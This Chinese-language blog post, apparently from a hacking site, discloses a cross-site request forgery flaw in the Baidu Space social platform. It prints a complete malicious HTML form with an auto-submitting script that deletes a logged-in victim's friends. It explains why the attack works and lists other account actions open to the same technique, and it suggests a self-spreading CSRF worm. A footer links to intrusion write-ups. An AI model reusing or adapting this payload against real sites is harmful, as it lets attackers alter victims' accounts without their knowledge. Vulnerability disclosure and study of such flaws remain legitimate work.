|
当正常用户看完这个页面后,发现自己的好友被删除了
实际上,该恶意页面就是构造了一个表单向百度服务器提交,源代码如下:
<form id=”fvck” method=”post” action=”http://frd.baidu.com” >
<input name=”cm” value=”Commit” >
<input name=”op” value=”3” >
<input name=”ct” value=”29” >
<input name=”dstun” value=”aullik5” >
<input name=”gn” value=”%C8%AB%B2%BF%BA%C3%D3%D1″ >
<input name=”un” value=”testuser” >
<input name=”tn” value=”bmSPFriCmt” >
<input name=”callback” value=”parent.DEL_FRD_CALLBACK” >
<input name=”spurl” value=”http://hi.baidu.com/testuser/friends”>
</form>
<script>
window.location.href = document.getElementById(”fvck”).spurl.value;
alert(document.getElementById(”fvck”).spurl.value);
alert(”/CSRF Baidu!/”);
fvck.submit();
</script>
<img src=”http://hi.baidu.com/st/add_frd_route.html?r=0&callback=parent.DEL_FRD_CALLBACK” >
如上,由于baidu区分了POST和GET,所以需要构造一个表单后post到服务器,在这里是使用js自动提交:fvck.submit();
baidu的一个事件调用过程,好像还有类似回调函数一样的东西,所以最后用了个img标签来GET一个请求,最终完成了这次CSRF的过程。
由于CSRF需要用到session cookie,而Baidu的cookie有两种,一种是session cookie,只在当前浏览器有效;一种是可以保存在本地的永久cookie,在登录时候可选
所以,为了新开浏览器访问第三方恶意页面时候,也能够成功CSRF,请在登录时候选择“记住我的登录状态”
分析上面的表单,可以看到,其中没有任何token或者hash一类的字段,就是说,全部都是固定的或是可预测的,这就为CSRF提供了可能。
事实上,baidu在防止重复提交方面还是做了很多工作的。比如陌生人发表评论时候的验证码,除了防止spam外,也可以防止csrf;
另外,baidu还有个spvcode的是用来防止重复提交的,这个hash值是每次都会随机生成的,所以在无法获取这个hash值的情况下,是无法成功CSRF的。当然如果被XSS了从而获得hash,又是另外一回事了。
但是情况是当是空间owner自己的时候,好像这个spvcode是不会出现在表单里的,就是说,如果某个用户处于登录状态,我们是可以放心的去CSRF他的。
除了删除好友外,经过测试,非常多的功能都存在这些缺陷:没有token,参数可预知或指定
包括: 添加好友、发表文章、修改自己的资料、修改空间title之类,当然还有更多功能,都可以根据我提供的表单来进行类似的测试。
想想在你不知情的情况下,自己的资料就被修改了,是多么可怕的事情。
在Baidu空间,将会非常容易发起一个CSRF Worm!
预知后事如何,且听下回分解!
PS:本次活动仅仅是个人行为,与任何组织或集体无关。
明天将发布一个非常猥琐的漏洞,敬请关注。
| 实例讲解跨站入侵攻防战之攻击篇 | 05-08 |
| 对偶偶娱乐分站服务器的安全检测 | 04-23 |
| 入侵88red系统的详细过程 | 04-07 |
| 对趋势科技等数万网站被攻击的分 | 03-21 |
| 凡人网络购物系统 V8.0 简体中文 | 03-18 |
| linux平台下渗透日本著名XXXXXX. | 03-18 |
| 搜索框所引起的XSS漏洞 | 03-05 |
| 跳转漏洞的利用 | 03-05 |
| 对复旦大学的一次漫长渗透 | 03-03 |
| .net一句话马以及dx论坛拿shell | 03-01 |
| php渗透入侵过程图文详解 | 03-01 |
| DJ网站的入侵详细过程 | 02-26 |